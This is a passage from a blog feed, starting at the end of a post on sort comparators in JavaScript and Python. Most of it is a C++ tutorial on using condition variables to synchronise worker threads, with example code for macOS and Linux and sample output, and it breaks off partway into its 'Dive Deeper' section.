class="hljs-number">1</span> : <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="12">arr.<span class="hljs-title function_">sort</span>((<span class="hljs-function hljs-params">a, b</span>) => a &#x3C; b ? <span class="hljs-number">1</span> : -<span class="hljs-number">1</span>);</div></code></pre>
<h2 id="python"><a href="#python">Python</a></h2>
<p>Python 的 <a href="https://docs.python.org/3/library/stdtypes.html#list.sort"><code>list.sort</code></a> 和 <a href="https://docs.python.org/3/library/functions.html#sorted"><code>sorted</code></a> 方法通过 <code>key</code> 传入 lambda function 控制从 iterable item 中获取可比较的键值，<code>reverse</code> 指定结构体升 / 降序。</p>
<p>需要自定义排序时，要使用 <a href="https://docs.python.org/3/library/functools.html#functools.cmp_to_key"><code>functools.cmp_to_key</code></a> 将 comparison function 转换为 <code>key</code>，定义如下（和 <code>strcmp</code> 一致）：</p>
<blockquote>
<p>A comparison function is any callable that accepts two arguments, compares them, and returns a <strong>negative number for less-than</strong>, <strong>zero for equality</strong>, or a <strong>positive number for greater-than</strong>. A key function is a callable that accepts one argument and returns another value to be used as the sort key.</p>
</blockquote>
<pre><code class="hljs language-python" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Point</span>:</div><div class="code-line numbered-code-line" data-line-number="2">    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self, x, y</span>):</div><div class="code-line numbered-code-line" data-line-number="3">        self.x = x</div><div class="code-line numbered-code-line" data-line-number="4">        self.y = y</div><div class="code-line numbered-code-line" data-line-number="5">    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__repr__</span>(<span class="hljs-params">self</span>):</div><div class="code-line numbered-code-line" data-line-number="6">        <span class="hljs-keyword">return</span> f"(<span class="hljs-string hljs-subst">{self.x}</span>, <span class="hljs-string hljs-subst">{self.y}</span>)"</div><div class="code-line numbered-code-line" data-line-number="7"></div><div class="code-line numbered-code-line" data-line-number="8">arr = [Point(<span class="hljs-number">3</span>, <span class="hljs-number">1</span>), Point(<span class="hljs-number">4</span>, <span class="hljs-number">1</span>), Point(<span class="hljs-number">5</span>, <span class="hljs-number">9</span>), Point(<span class="hljs-number">6</span>, <span class="hljs-number">2</span>)]</div><div class="code-line numbered-code-line" data-line-number="9"></div><div class="code-line numbered-code-line" data-line-number="10"><span class="hljs-comment"># Ascending by x, then ascending by y</span></div><div class="code-line numbered-code-line" data-line-number="11">arr.sort(key = <span class="hljs-keyword">lambda</span> p: (p.x, p.y))</div><div class="code-line numbered-code-line" data-line-number="12">arr.sort(key = cmp_to_key(<span class="hljs-keyword">lambda</span> a, b: a.x - b.x <span class="hljs-keyword">if</span> a.x != b.x <span class="hljs-keyword">else</span> a.y - b.y))</div></code></pre>
<p>Python 的 <code>sort</code> 和 <code>sorted</code> 保证<a href="https://docs.python.org/3/howto/sorting.html#sort-stability-and-complex-sorts">稳定</a>。</p>]]></description>
            <link>https://jtchen.io/blog/sort-comparator</link>
            <guid isPermaLink="false">sort-comparator</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Mon, 30 Dec 2024 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[How-to: Use C++ Conditional Variables for Thread Synchronization]]></title>
            <description><![CDATA[<h2 id="contents"><a href="#contents">Contents</a></h2>
<ul>
<li><a href="#intro">Intro</a></li>
<li><a href="#example">Example</a>
<ul>
<li><a href="#if-you-are-using-linux">If you are using Linux</a></li>
</ul>
</li>
<li><a href="#dive-deeper">Dive Deeper</a>
<ul>
<li><a href="#why-do-we-need-unique_lock-and-mutex">Why do we need <code>unique_lock</code> and <code>mutex</code>?</a></li>
<li><a href="#what-if-the-condition-is-met-before-waitnever-met">What if the condition is met before wait/never met?</a></li>
<li><a href="#what-if-notify-is-called-before-waitnever-called">What if notify() is called before wait/never called?</a></li>
<li><a href="#suspend-vs-block">Suspend vs. Block</a></li>
</ul>
</li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>
<h2 id="intro"><a href="#intro">Intro</a></h2>
<p>Conditional Variables are a synchronization primitive in C++ that allows threads to wait for a certain condition to be met<sup><a href="#user-content-fn-cppref" id="user-content-fnref-cppref" data-footnote-ref aria-describedby="footnote-label">1</a></sup>. This is useful when you want to coordinate the execution of multiple threads. To use a conditional variable, you will need:</p>
<ul>
<li>A conditional variable <code>std::contional_variable cv</code></li>
<li>A mutex <code>std::mutex mtx</code> and a lock <code>std::unique_lock&#x3C;std::mutex> lck(mtx)</code></li>
<li>Appropriate wait conditions to check for</li>
<li>Appropriate notification calls from other threads</li>
</ul>
<p>Here is a simplified structure of how to use a conditional variable:</p>
<pre><code class="hljs language-cpp" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">std::mutex mtx;</div><div class="code-line numbered-code-line" data-line-number="2"></div><div class="code-line numbered-code-line" data-line-number="3"><span class="hljs-comment">// Thread 1</span></div><div class="code-line numbered-code-line" data-line-number="4">{</div><div class="code-line numbered-code-line" data-line-number="5">    <span class="hljs-comment">// Acquire the lock</span></div><div class="code-line numbered-code-line" data-line-number="6">    std::unique_lock&#x3C;std::mutex> <span class="hljs-function hljs-title">lck</span><span class="hljs-function hljs-params">(mtx)</span>;</div><div class="code-line numbered-code-line" data-line-number="7">    cv.<span class="hljs-built_in">wait</span>(lck, [] {</div><div class="code-line numbered-code-line" data-line-number="8">        <span class="hljs-keyword">return</span> condition;</div><div class="code-line numbered-code-line" data-line-number="9">    });</div><div class="code-line numbered-code-line" data-line-number="10">}</div><div class="code-line numbered-code-line" data-line-number="11"></div><div class="code-line numbered-code-line" data-line-number="12"><span class="hljs-comment">// Thread 2</span></div><div class="code-line numbered-code-line" data-line-number="13">{</div><div class="code-line numbered-code-line" data-line-number="14">    <span class="hljs-comment">// Acquire the lock</span></div><div class="code-line numbered-code-line" data-line-number="15">    std::unique_lock&#x3C;std::mutex> <span class="hljs-function hljs-title">lck</span><span class="hljs-function hljs-params">(mtx)</span>;</div><div class="code-line numbered-code-line" data-line-number="16">    condition = <span class="hljs-literal">true</span>;</div><div class="code-line numbered-code-line" data-line-number="17">    cv.<span class="hljs-built_in">notify_one</span>();</div><div class="code-line numbered-code-line" data-line-number="18">}</div><div class="code-line numbered-code-line" data-line-number="19"></div></code></pre>
<p>Here, Thread 1 is suspended by <code>.wait</code> call until <code>condition == true</code>. However, CVs won't automatically wake up the thread when the condition is met. Instead, it checks the condition whenever receives a notification from another thread. This is where the <code>.notify_one()</code> and <code>.notify_all()</code> come in. In other threads, by calling either:</p>
<ul>
<li><code>cv.notify_one()</code>( to wake up one thread suspended by the <code>cv</code> randomly)</li>
<li><code>cv.notify_all()</code> (to wake up all threads suspended by the <code>cv</code>)</li>
</ul>
<p>The <code>cv</code> will check the condition and wake up the thread if the condition is met.</p>
<h2 id="example"><a href="#example">Example</a></h2>
<p>Here we use an example to illustrate the actual use of conditional variables. It is abstracted from a real-world scenario I have been working on recently, where we need to instrument performance data for each running thread. Say we have multiple worker threads that have two stages: preparation and payload. It is a common use case that we want to wait for all threads to finish their preparations, do something else in the main threads, and start the actual payload for all the worker threads.</p>
<p>In this example, we have a <code>Worker</code> class that creates multiple worker threads, where each thread:</p>
<ul>
<li>Sets its thread name using <code>pthread_setname_np</code> (Preparation Stage)</li>
<li>Delay for 1 second (Payload Stage)</li>
</ul>
<p>We also have a <code>Reporter</code> class that reports the thread ID and thread names of all worker threads, which requires all threads to finish their preparation stage before reporting. After reporting, we want to start the payload stage for all worker threads.</p>
<p>To achieve this, we use a conditional variable <code>cv_ready</code> to wait for all threads to finish their preparation stage. Its condition is <code>num_ready == num_workers</code>, where <code>num_ready</code> is the number of threads that have finished their preparation stage, and <code>num_workers</code> is the total number of worker threads. We use <code>cv_ready.notify_one()</code> in the worker threads to notify the main thread to check the condition and return. After preparation, the worker threads are suspended by <code>cv</code>, and this is when we initialize the <code>Reporter</code> class and call <code>report()</code> to report the thread information. After reporting, we call <code>cv.notify_all()</code> to start the payload stage for all worker threads.</p>
<pre><code class="hljs language-cpp" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;condition_variable></span></div><div class="code-line numbered-code-line" data-line-number="2">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;string></span></div><div class="code-line numbered-code-line" data-line-number="3">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;pthread.h></span></div><div class="code-line numbered-code-line" data-line-number="4">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;thread></span></div><div class="code-line numbered-code-line" data-line-number="5">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;vector></span></div><div class="code-line numbered-code-line" data-line-number="6">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;iostream></span></div><div class="code-line numbered-code-line" data-line-number="7"></div><div class="code-line numbered-code-line" data-line-number="8"><span class="hljs-comment">/**
 * Report information of all worker threads, only works for macOS.
 */</span></div><div class="code-line numbered-code-line" data-line-number="9">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;mach/mach.h></span></div><div class="code-line numbered-code-line" data-line-number="10"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Reporter</span> {</div><div class="code-line numbered-code-line" data-line-number="11"><span class="hljs-keyword">public</span>:</div><div class="code-line numbered-code-line" data-line-number="12">    <span class="hljs-built_in">Reporter</span>() {</div><div class="code-line numbered-code-line" data-line-number="13">        <span class="hljs-built_in">task_threads</span>(<span class="hljs-built_in">mach_task_self</span>(), &#x26;threads, &#x26;thread_count);</div><div class="code-line numbered-code-line" data-line-number="14">        std::cout &#x3C;&#x3C; <span class="hljs-string">"[Reporter] Reporter loaded. Found "</span> &#x3C;&#x3C; thread_count &#x3C;&#x3C; <span class="hljs-string">" threads."</span> &#x3C;&#x3C; std::endl;</div><div class="code-line numbered-code-line" data-line-number="15">    }</div><div class="code-line numbered-code-line" data-line-number="16"></div><div class="code-line numbered-code-line" data-line-number="17">    <span class="hljs-function hljs-type">void</span> <span class="hljs-function hljs-title">report</span><span class="hljs-function hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="18">        std::cout &#x3C;&#x3C; <span class="hljs-string">"[Reporter] Reporting all threads:"</span> &#x3C;&#x3C; std::endl;</div><div class="code-line numbered-code-line" data-line-number="19">        <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &#x3C; thread_count; i++) {</div><div class="code-line numbered-code-line" data-line-number="20">            <span class="hljs-type">char</span> thread_name[<span class="hljs-number">64</span>];</div><div class="code-line numbered-code-line" data-line-number="21">            <span class="hljs-type">uint64_t</span> tid;</div><div class="code-line numbered-code-line" data-line-number="22">            <span class="hljs-type">pthread_t</span> pthread = <span class="hljs-built_in">pthread_from_mach_thread_np</span>(threads[i]);</div><div class="code-line numbered-code-line" data-line-number="23">            <span class="hljs-built_in">pthread_getname_np</span>(pthread, thread_name, <span class="hljs-built_in">sizeof</span>(thread_name));</div><div class="code-line numbered-code-line" data-line-number="24">            <span class="hljs-built_in">pthread_threadid_np</span>(pthread, &#x26;tid);</div><div class="code-line numbered-code-line" data-line-number="25">            std::cout &#x3C;&#x3C; <span class="hljs-string">"[Reporter]   - thread "</span> &#x3C;&#x3C; i &#x3C;&#x3C; <span class="hljs-string">" name: "</span></div><div class="code-line numbered-code-line" data-line-number="26">                      &#x3C;&#x3C; thread_name &#x3C;&#x3C; <span class="hljs-string">" tid: "</span> &#x3C;&#x3C; tid &#x3C;&#x3C; std::endl;</div><div class="code-line numbered-code-line" data-line-number="27">        }</div><div class="code-line numbered-code-line" data-line-number="28">    }</div><div class="code-line numbered-code-line" data-line-number="29"></div><div class="code-line numbered-code-line" data-line-number="30"><span class="hljs-keyword">private</span>:</div><div class="code-line numbered-code-line" data-line-number="31">    <span class="hljs-type">thread_act_array_t</span> threads;</div><div class="code-line numbered-code-line" data-line-number="32">    <span class="hljs-type">mach_msg_type_number_t</span> thread_count;</div><div class="code-line numbered-code-line" data-line-number="33">};</div><div class="code-line numbered-code-line" data-line-number="34"></div><div class="code-line numbered-code-line" data-line-number="35"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Worker</span> {</div><div class="code-line numbered-code-line" data-line-number="36"><span class="hljs-keyword">public</span>:</div><div class="code-line numbered-code-line" data-line-number="37">    <span class="hljs-built_in">Worker</span>(<span class="hljs-type">int16_t</span> n) : <span class="hljs-built_in">num_workers</span>(n), <span class="hljs-built_in">num_ready</span>(<span class="hljs-number">0</span>) { }</div><div class="code-line numbered-code-line" data-line-number="38"></div><div class="code-line numbered-code-line" data-line-number="39">    <span class="hljs-function hljs-type">void</span> <span class="hljs-function hljs-title">worker_thread</span>(std::string thread_name, <span class="hljs-function hljs-params hljs-type">uint16_t</span> thread_id) {</div><div class="code-line numbered-code-line" data-line-number="40"></div><div class="code-line numbered-code-line" data-line-number="41">        <span class="hljs-comment">// Thread preparation</span></div><div class="code-line numbered-code-line" data-line-number="42">        {</div><div class="code-line numbered-code-line" data-line-number="43">            std::lock_guard&#x3C;std::mutex> <span class="hljs-function hljs-title">lck</span><span class="hljs-function hljs-params">(mtx)</span>;</div><div class="code-line numbered-code-line" data-line-number="44">            <span class="hljs-built_in">pthread_setname_np</span>(thread_name.<span class="hljs-built_in">c_str</span>());</div><div class="code-line numbered-code-line" data-line-number="45">            std::cout &#x3C;&#x3C; <span class="hljs-string">"[Worker] Thread "</span> &#x3C;&#x3C; thread_name &#x3C;&#x3C; <span class="hljs-string">" ready to run."</span> &#x3C;&#x3C; std::endl;</div><div class="code-line numbered-code-line" data-line-number="46">            num_ready++;</div><div class="code-line numbered-code-line" data-line-number="47">            cv_ready.<span class="hljs-built_in">notify_one</span>();</div><div class="code-line numbered-code-line" data-line-number="48">        }</div><div class="code-line numbered-code-line" data-line-number="49"></div><div class="code-line numbered-code-line" data-line-number="50">        <span class="hljs-comment">// Suspend all threads until ready</span></div><div class="code-line numbered-code-line" data-line-number="51">        std::unique_lock&#x3C;std::mutex> <span class="hljs-function hljs-title">lck</span><span class="hljs-function hljs-params">(mtx)</span>;</div><div class="code-line numbered-code-line" data-line-number="52">        cv.<span class="hljs-built_in">wait</span>(lck, [<span class="hljs-keyword">this</span>] {</div><div class="code-line numbered-code-line" data-line-number="53">            <span class="hljs-keyword">return</span> num_ready == num_workers;</div><div class="code-line numbered-code-line" data-line-number="54">        });</div><div class="code-line numbered-code-line" data-line-number="55"></div><div class="code-line numbered-code-line" data-line-number="56">        <span class="hljs-comment">// Allow parallel execution of worker threads</span></div><div class="code-line numbered-code-line" data-line-number="57">        lck.<span class="hljs-built_in">unlock</span>();</div><div class="code-line numbered-code-line" data-line-number="58"></div><div class="code-line numbered-code-line" data-line-number="59">        <span class="hljs-comment">// Thread payload</span></div><div class="code-line numbered-code-line" data-line-number="60">        std::this_thread::<span class="hljs-built_in">sleep_for</span>(std::chrono::<span class="hljs-built_in">seconds</span> (<span class="hljs-number">1</span>));</div><div class="code-line numbered-code-line" data-line-number="61"></div><div class="code-line numbered-code-line" data-line-number="62">        {</div><div class="code-line numbered-code-line" data-line-number="63">            std::lock_guard&#x3C;std::mutex> <span class="hljs-function hljs-title">lck</span><span class="hljs-function hljs-params">(mtx)</span>;</div><div class="code-line numbered-code-line" data-line-number="64">            std::cout &#x3C;&#x3C; <span class="hljs-string">"[Worker] Thread "</span> &#x3C;&#x3C; thread_name &#x3C;&#x3C; <span class="hljs-string">" finished."</span> &#x3C;&#x3C; std::endl;</div><div class="code-line numbered-code-line" data-line-number="65">        }</div><div class="code-line numbered-code-line" data-line-number="66">    }</div><div class="code-line numbered-code-line" data-line-number="67"></div><div class="code-line numbered-code-line" data-line-number="68">    <span class="hljs-function hljs-type">void</span> <span class="hljs-function hljs-title">create_workers</span><span class="hljs-function hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="69">        std::string main_thread_name = <span class="hljs-string">"main"</span>;</div><div class="code-line numbered-code-line" data-line-number="70">        <span class="hljs-built_in">pthread_setname_np</span>(main_thread_name.<span class="hljs-built_in">c_str</span>());</div><div class="code-line numbered-code-line" data-line-number="71">        <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &#x3C; num_workers; i++) {</div><div class="code-line numbered-code-line" data-line-number="72">            std::string worker_name = <span class="hljs-string">"worker-"</span> + std::<span class="hljs-built_in">to_string</span>(i);</div><div class="code-line numbered-code-line" data-line-number="73">            m_threads.<span class="hljs-built_in">emplace_back</span>(std::<span class="hljs-built_in">thread</span>(&#x26;Worker::worker_thread, <span class="hljs-keyword">this</span>, worker_name, i));</div><div class="code-line numbered-code-line" data-line-number="74">        }</div><div class="code-line numbered-code-line" data-line-number="75"></div><div class="code-line numbered-code-line" data-line-number="76">        <span class="hljs-comment">// Wait for all threads to be loaded</span></div><div class="code-line numbered-code-line" data-line-number="77">        std::unique_lock&#x3C;std::mutex> <span class="hljs-function hljs-title">lck</span><span class="hljs-function hljs-params">(mtx_ready)</span>;</div><div class="code-line numbered-code-line" data-line-number="78">        cv_ready.<span class="hljs-built_in">wait</span>(lck, [<span class="hljs-keyword">this</span>] {</div><div class="code-line numbered-code-line" data-line-number="79">            <span class="hljs-keyword">return</span> num_ready == num_workers;</div><div class="code-line numbered-code-line" data-line-number="80">        });</div><div class="code-line numbered-code-line" data-line-number="81"></div><div class="code-line numbered-code-line" data-line-number="82"></div><div class="code-line numbered-code-line" data-line-number="83">    }</div><div class="code-line numbered-code-line" data-line-number="84"></div><div class="code-line numbered-code-line" data-line-number="85">    <span class="hljs-function hljs-type">void</span> <span class="hljs-function hljs-title">report</span><span class="hljs-function hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="86">        Reporter *reporter = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Reporter</span>();</div><div class="code-line numbered-code-line" data-line-number="87">        reporter-><span class="hljs-built_in">report</span>();</div><div class="code-line numbered-code-line" data-line-number="88">    }</div><div class="code-line numbered-code-line" data-line-number="89"></div><div class="code-line numbered-code-line" data-line-number="90">    <span class="hljs-function hljs-type">void</span> <span class="hljs-function hljs-title">run</span><span class="hljs-function hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="91">        <span class="hljs-comment">// Notify all threads to start</span></div><div class="code-line numbered-code-line" data-line-number="92">        cv.<span class="hljs-built_in">notify_all</span>();</div><div class="code-line numbered-code-line" data-line-number="93">        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">auto</span> &#x26;t: m_threads) {</div><div class="code-line numbered-code-line" data-line-number="94">            t.<span class="hljs-built_in">join</span>();</div><div class="code-line numbered-code-line" data-line-number="95">        }</div><div class="code-line numbered-code-line" data-line-number="96">    }</div><div class="code-line numbered-code-line" data-line-number="97"></div><div class="code-line numbered-code-line" data-line-number="98"><span class="hljs-keyword">private</span>:</div><div class="code-line numbered-code-line" data-line-number="99">    <span class="hljs-type">int16_t</span> num_workers;</div><div class="code-line numbered-code-line" data-line-number="100">    <span class="hljs-type">int16_t</span> num_ready;</div><div class="code-line numbered-code-line" data-line-number="101">    std::vector&#x3C;std::thread> m_threads;</div><div class="code-line numbered-code-line" data-line-number="102"></div><div class="code-line numbered-code-line" data-line-number="103">    std::condition_variable cv;</div><div class="code-line numbered-code-line" data-line-number="104">    std::mutex mtx;</div><div class="code-line numbered-code-line" data-line-number="105"></div><div class="code-line numbered-code-line" data-line-number="106">    std::condition_variable cv_ready;</div><div class="code-line numbered-code-line" data-line-number="107">    std::mutex mtx_ready;</div><div class="code-line numbered-code-line" data-line-number="108">};</div><div class="code-line numbered-code-line" data-line-number="109"></div><div class="code-line numbered-code-line" data-line-number="110"><span class="hljs-function hljs-type">int</span> <span class="hljs-function hljs-title">main</span><span class="hljs-function hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="111">    <span class="hljs-comment">// Create threads</span></div><div class="code-line numbered-code-line" data-line-number="112">    Worker *worker = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Worker</span>(<span class="hljs-number">5</span>);</div><div class="code-line numbered-code-line" data-line-number="113">    worker-><span class="hljs-built_in">create_workers</span>();</div><div class="code-line numbered-code-line" data-line-number="114"></div><div class="code-line numbered-code-line" data-line-number="115">    <span class="hljs-comment">// Do something before actual threads execution, after all threads are created and configured.</span></div><div class="code-line numbered-code-line" data-line-number="116">    worker-><span class="hljs-built_in">report</span>();</div><div class="code-line numbered-code-line" data-line-number="117"></div><div class="code-line numbered-code-line" data-line-number="118">    <span class="hljs-comment">// Start all worker threads</span></div><div class="code-line numbered-code-line" data-line-number="119">    worker-><span class="hljs-built_in">run</span>();</div><div class="code-line numbered-code-line" data-line-number="120">}</div></code></pre>
<p>We can get the following output:</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">[Worker] Thread worker-0 ready to run.</div><div class="code-line numbered-code-line" data-line-number="2">[Worker] Thread worker-3 ready to run.</div><div class="code-line numbered-code-line" data-line-number="3">[Worker] Thread worker-1 ready to run.</div><div class="code-line numbered-code-line" data-line-number="4">[Worker] Thread worker-2 ready to run.</div><div class="code-line numbered-code-line" data-line-number="5">[Worker] Thread worker-4 ready to run.</div><div class="code-line numbered-code-line" data-line-number="6">[Reporter] Reporter loaded. Found 6 threads.</div><div class="code-line numbered-code-line" data-line-number="7">[Reporter]   - thread 0 name: main tid: 4454155</div><div class="code-line numbered-code-line" data-line-number="8">[Reporter]   - thread 1 name: worker-0 tid: 4454239</div><div class="code-line numbered-code-line" data-line-number="9">[Reporter]   - thread 2 name: worker-1 tid: 4454240</div><div class="code-line numbered-code-line" data-line-number="10">[Reporter]   - thread 3 name: worker-2 tid: 4454241</div><div class="code-line numbered-code-line" data-line-number="11">[Reporter]   - thread 4 name: worker-3 tid: 4454242</div><div class="code-line numbered-code-line" data-line-number="12">[Reporter]   - thread 5 name: worker-4 tid: 4454243</div><div class="code-line numbered-code-line" data-line-number="13">[Worker] Thread worker-4 finished.</div><div class="code-line numbered-code-line" data-line-number="14">[Worker] Thread worker-3 finished.</div><div class="code-line numbered-code-line" data-line-number="15">[Worker] Thread worker-0 finished.</div><div class="code-line numbered-code-line" data-line-number="16">[Worker] Thread worker-2 finished.</div><div class="code-line numbered-code-line" data-line-number="17">[Worker] Thread worker-1 finished.</div></code></pre>
<p>Here, the first 5 lines are the worker threads' preparation stage, and the next 7 lines are the thread information reported by the <code>Reporter</code> class. After reporting, the worker threads start their payload stage simultaneously and finish in random order.</p>
<h3 id="if-you-are-using-linux"><a href="#if-you-are-using-linux">If you are using Linux</a></h3>
<p>Note that the code uses macOS system calls in the Reporter. If you are using a Linux system, you may use the following <code>Reporter</code> class instead:</p>
<pre><code class="hljs language-cpp" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-comment">/**
 * Reporter for Linux.
 */</span></div><div class="code-line numbered-code-line" data-line-number="2">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;dirent.h></span></div><div class="code-line numbered-code-line" data-line-number="3">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;fstream></span></div><div class="code-line numbered-code-line" data-line-number="4"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Reporter</span> {</div><div class="code-line numbered-code-line" data-line-number="5"><span class="hljs-keyword">public</span>:</div><div class="code-line numbered-code-line" data-line-number="6">    <span class="hljs-built_in">Reporter</span>() {</div><div class="code-line numbered-code-line" data-line-number="7">        DIR *dir = <span class="hljs-built_in">opendir</span>(<span class="hljs-string">"/proc/self/task"</span>);</div><div class="code-line numbered-code-line" data-line-number="8">        <span class="hljs-keyword">if</span> (dir) {</div><div class="code-line numbered-code-line" data-line-number="9">            <span class="hljs-keyword">struct</span> <span class="hljs-title class_">dirent</span> *entry;</div><div class="code-line numbered-code-line" data-line-number="10">            <span class="hljs-keyword">while</span> ((entry = <span class="hljs-built_in">readdir</span>(dir)) != <span class="hljs-literal">nullptr</span>) {</div><div class="code-line numbered-code-line" data-line-number="11">                <span class="hljs-keyword">if</span> (entry->d_type == DT_DIR &#x26;&#x26; <span class="hljs-built_in">isdigit</span>(entry->d_name[<span class="hljs-number">0</span>])) {</div><div class="code-line numbered-code-line" data-line-number="12">                    thread_ids.<span class="hljs-built_in">push_back</span>(entry->d_name);</div><div class="code-line numbered-code-line" data-line-number="13">                }</div><div class="code-line numbered-code-line" data-line-number="14">            }</div><div class="code-line numbered-code-line" data-line-number="15">            <span class="hljs-built_in">closedir</span>(dir);</div><div class="code-line numbered-code-line" data-line-number="16">        }</div><div class="code-line numbered-code-line" data-line-number="17">        thread_count = thread_ids.<span class="hljs-built_in">size</span>();</div><div class="code-line numbered-code-line" data-line-number="18">        std::cout &#x3C;&#x3C; <span class="hljs-string">"[Reporter] Reporter loaded. Found "</span> &#x3C;&#x3C; thread_count &#x3C;&#x3C; <span class="hljs-string">" threads."</span> &#x3C;&#x3C; std::endl;</div><div class="code-line numbered-code-line" data-line-number="19">    }</div><div class="code-line numbered-code-line" data-line-number="20"></div><div class="code-line numbered-code-line" data-line-number="21">    <span class="hljs-function hljs-type">void</span> <span class="hljs-function hljs-title">report</span><span class="hljs-function hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="22">        std::cout &#x3C;&#x3C; <span class="hljs-string">"[Reporter] Reporting all threads:"</span> &#x3C;&#x3C; std::endl;</div><div class="code-line numbered-code-line" data-line-number="23">        <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &#x3C; thread_count; i++) {</div><div class="code-line numbered-code-line" data-line-number="24">            std::string tid = thread_ids[i];</div><div class="code-line numbered-code-line" data-line-number="25">            std::string thread_name = <span class="hljs-built_in">get_thread_name</span>(tid);</div><div class="code-line numbered-code-line" data-line-number="26">            std::cout &#x3C;&#x3C; <span class="hljs-string">"[Reporter]   - thread "</span> &#x3C;&#x3C; i &#x3C;&#x3C; <span class="hljs-string">" name: "</span> &#x3C;&#x3C; thread_name</div><div class="code-line numbered-code-line" data-line-number="27">                      &#x3C;&#x3C; <span class="hljs-string">" tid: "</span> &#x3C;&#x3C; tid &#x3C;&#x3C; std::endl;</div><div class="code-line numbered-code-line" data-line-number="28">        }</div><div class="code-line numbered-code-line" data-line-number="29">    }</div><div class="code-line numbered-code-line" data-line-number="30"></div><div class="code-line numbered-code-line" data-line-number="31"><span class="hljs-keyword">private</span>:</div><div class="code-line numbered-code-line" data-line-number="32">  std::vector&#x3C;std::string> thread_ids;</div><div class="code-line numbered-code-line" data-line-number="33">  <span class="hljs-type">int</span> thread_count;</div><div class="code-line numbered-code-line" data-line-number="34"></div><div class="code-line numbered-code-line" data-line-number="35">  std::string <span class="hljs-function hljs-title">get_thread_name</span>(<span class="hljs-function hljs-params hljs-type">const</span> std::string &#x26;tid) {</div><div class="code-line numbered-code-line" data-line-number="36">      std::ifstream <span class="hljs-function hljs-title">comm_file</span>(<span class="hljs-function hljs-params hljs-string">"/proc/self/task/"</span> + tid + <span class="hljs-function hljs-params hljs-string">"/comm"</span>);</div><div class="code-line numbered-code-line" data-line-number="37">      std::string name;</div><div class="code-line numbered-code-line" data-line-number="38">      <span class="hljs-keyword">if</span> (comm_file.<span class="hljs-built_in">is_open</span>()) {</div><div class="code-line numbered-code-line" data-line-number="39">          std::<span class="hljs-built_in">getline</span>(comm_file, name);</div><div class="code-line numbered-code-line" data-line-number="40">      }</div><div class="code-line numbered-code-line" data-line-number="41">      <span class="hljs-keyword">return</span> name;</div><div class="code-line numbered-code-line" data-line-number="42">  }</div><div class="code-line numbered-code-line" data-line-number="43">};</div></code></pre>
<p>You also need to change <code>pthread_setname_np</code> to <code>pthread_setname_np(pthread_self(), thread_name.c_str())</code> in the <code>Worker</code> class.</p>
<h2 id="dive-deeper"><a href="#dive-deeper">Dive Deeper</a></h2>
<h3 id="why-do-we-need-unique_lock-and-mutex"><a href="#why-do-we-need-unique_lock-and-mutex">Why do we need <code>unique_lock</code> and <code>mutex</code>?</a></h3>
<p>As stated in the cpp reference:</p>
<blockquote>
<p>Any thread that intends to wait on a <code>std::condition_variable</code> must acquire a <code>std::unique_lock&#x3C;std::mutex></code> on the mutex used to protect the shared variable.</p>
</blockquote>
<p>But why? In intuition, if <code>cv</code> is designed to suspend a thread until a condition is met, a lock does not seem necessary. If we want to ensure thread safety when evaluating conditions, why couldn't we just use atomic variables in the condition predicate?</p>
<p>Let's look into the details of the process:</p>
<pre><code class="hljs language-cpp" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">{</div><div class="code-line numbered-code-line" data-line-number="2">    <span class="hljs-comment">// Lock aquired</span></div><div class="code-line numbered-code-line" data-line-number="3">    std::unique_lock&#x3C;std::mutex> <span class="hljs-function hljs-title">lck</span><span class="hljs-function hljs-params">(mtx)</span>;</div><div class="code-line numbered-code-line" data-line-number="4"></div><div class="code-line numbered-code-line" data-line-number="5">    <span class="hljs-comment">// Suspend the thread, release the lock,</span></div><div class="code-line numbered-code-line" data-line-number="6">    <span class="hljs-comment">//   wait for notifications from other threads.</span></div><div class="code-line numbered-code-line" data-line-number="7">    cv.<span class="hljs-built_in">wait</span>(lck, [] {</div><div class="code-line numbered-code-line" data-line-number="8">        <span class="hljs-keyword">return</span> ready;</div><div class="code-line numbered-code-line" data-line-number="9">    });</div><div class="code-line numbered-code-line" data-line-number="10">    <span class="hljs-comment">// When other thread calls notify:</span></div><div class="code-line numbered-code-line" data-line-number="11">    <span 